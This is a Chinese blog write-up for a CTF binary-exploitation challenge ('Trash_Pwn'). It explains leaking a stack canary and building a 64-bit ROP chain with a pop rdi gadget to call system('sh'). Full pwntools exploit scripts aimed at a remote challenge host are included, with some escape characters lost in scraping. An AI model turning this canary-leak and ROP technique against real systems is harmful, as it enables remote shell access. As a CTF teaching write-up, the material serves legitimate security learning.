zoukankan      html  css  js  c++  java
  • D0g3_Trash_Pwn_Writeup

    Trash Pwn

    下载文件

     1 首先使用checksec查看有什么保护

    可以发现,有canary保护(Stack),堆栈不可执行(NX),地址随机化没有开启(PIE)

     

    2 使用IDA打开看看

    main函数里没有什么漏洞,注意调试时把alarm函数nop掉(计时函数)

    进入Who函数

    读取的s是main函数中的一个储存字符窜的数组,然后再打印字符串后面的一些东西(这里可以溢出canary)

    只要控制字符的个数,就可以溢出canary,补充一个知识: canary一般的最低位的字节为0,所以溢出时64位有7个可用字节,32位的为3个可用字节.

    真正的canary就需要加上x00,才能是真正的canary.

    这里就可以写获取canary的exp:

    f

    rom pwn import *
    elf = ELF("./Trash_Pwn")
    #context.log_level = 'debug'
    sh = elf.process()
    #sh = remote("106.54.93.158",1234)
    Num = 8 * 9 + 0   #通过计算的偏移,72个字符+ 
     (回车x0a)
    sh.recvuntil("Hi you guys! What's your name?")
    payload_1 = 'D' * Num
    sh.sendline(payload_1)
    print sh.recvline(keepends = True)
    print sh.recvuntil("D
    ")
    canary = u64('x00' + sh.recvline()[0:7])  #在打印时即可获取7个有用字符,在加上一个x00在最低位就得到canary
    print 'canary:'
    print hex(canary)

     

    好了,我们就可以通过输入名字时获取canary,查看第二个函数

     

    buf 可以输入的长度为0x100,第二次输入就可以用基本的栈溢出了

    现在我们就可修改堆栈里存储的ret值,实现控制EIP.

    我们看一下字符窜表

    进入调用函数:

     这里就要考验观察能力了,平时做的时候都是/bin/sh,现在来个打印sh,这里我们只需修改传参的时候修改位sh就行,记录一下cmd的地址

     可是传餐不像32位机器使用push传参,使用的是rdi寄存器传参,若程序中存在pop rdi + ret指令就再好不过了.

     使用python  中的pwntools库查看一下pop rid 和 ret的硬编码'

     

    硬编码位 5f c3 再使用hexeditor搜索5f c3:

     

     

     

     

    发现存在,使用edb或gdb在动态调试中搜索当前的地址: 地址为:0x40147E

    也可以使用指令:ROPgadget --binary Trash_Pwn --only "pop | ret"      搜索获取地址

    利用思路:先是跳转到pop rdi指令的地方修改rdi的值(改为指向echo sh中的sh地址), 然后ret到system函数即可

    以下是exp:

    from pwn import * 
    elf = ELF("./Trash_Pwn")
    #context.log_level = 'debug'
    sh = elf.process()
    sh = remote("106.54.93.158",1234)
    
    Num = 8 * 9 + 0
    sh.recvuntil("Hi you guys! What's your name?")
    
    payload_1 = 'D' * Num
    sh.sendline(payload_1)
    print sh.recvline(keepends = True)
    print sh.recvuntil("D
    ")
    canary = u64('x00' + sh.recvline()[0:7])
    
    print 'canary:'
    print hex(canary)
    
    sh.recvuntil("Help me to clean this trash!
    ")
    sys_addr = 0x40130B
    pop_rdi_addr = 0x40147E
    str_sh_addr = 0x404085
    
    payload_2 = 'D' * ( 64 + Num) + p64(canary) + p64(0xdeedbeef) + p64(pop_rdi_addr) + p64(str_sh_addr) + p64(sys_addr)
    #gdb.attach(sh)
    sh.sendline(payload_2)
    
    sh.interactive()

     

    拿到flag

    总结:

    canary的最低位字节位0,控制字符个数,溢出canary

    使用pop rdi修改rdi的值,从而修改64位system的传参

     

    2019-12-14

    20:04:16

     

     

     

  • 相关阅读:
    Snmp学习总结(四)——WinServer2003安装和配置SNMP
    Snmp学习总结(三)——Win7安装和配置SNMP
    Snmp学习总结(二)——WinXP安装和配置SNMP
    Snmp学习总结(一)——Snmp的基本概念
    Snmp学习总结系列——开篇
    MyEclipse使用总结——使用MyEclipse打包带源码的jar包
    (转载)反向代理服务器的工作原理
    AQS3---出队(凌乱,供参考,先看AQS2)
    AQS1---走向稳定态
    hread.interrupt()到底意味着什么
  • 原文地址:https://www.cnblogs.com/lyxf/p/12040349.html
Copyright © 2011-2022 走看看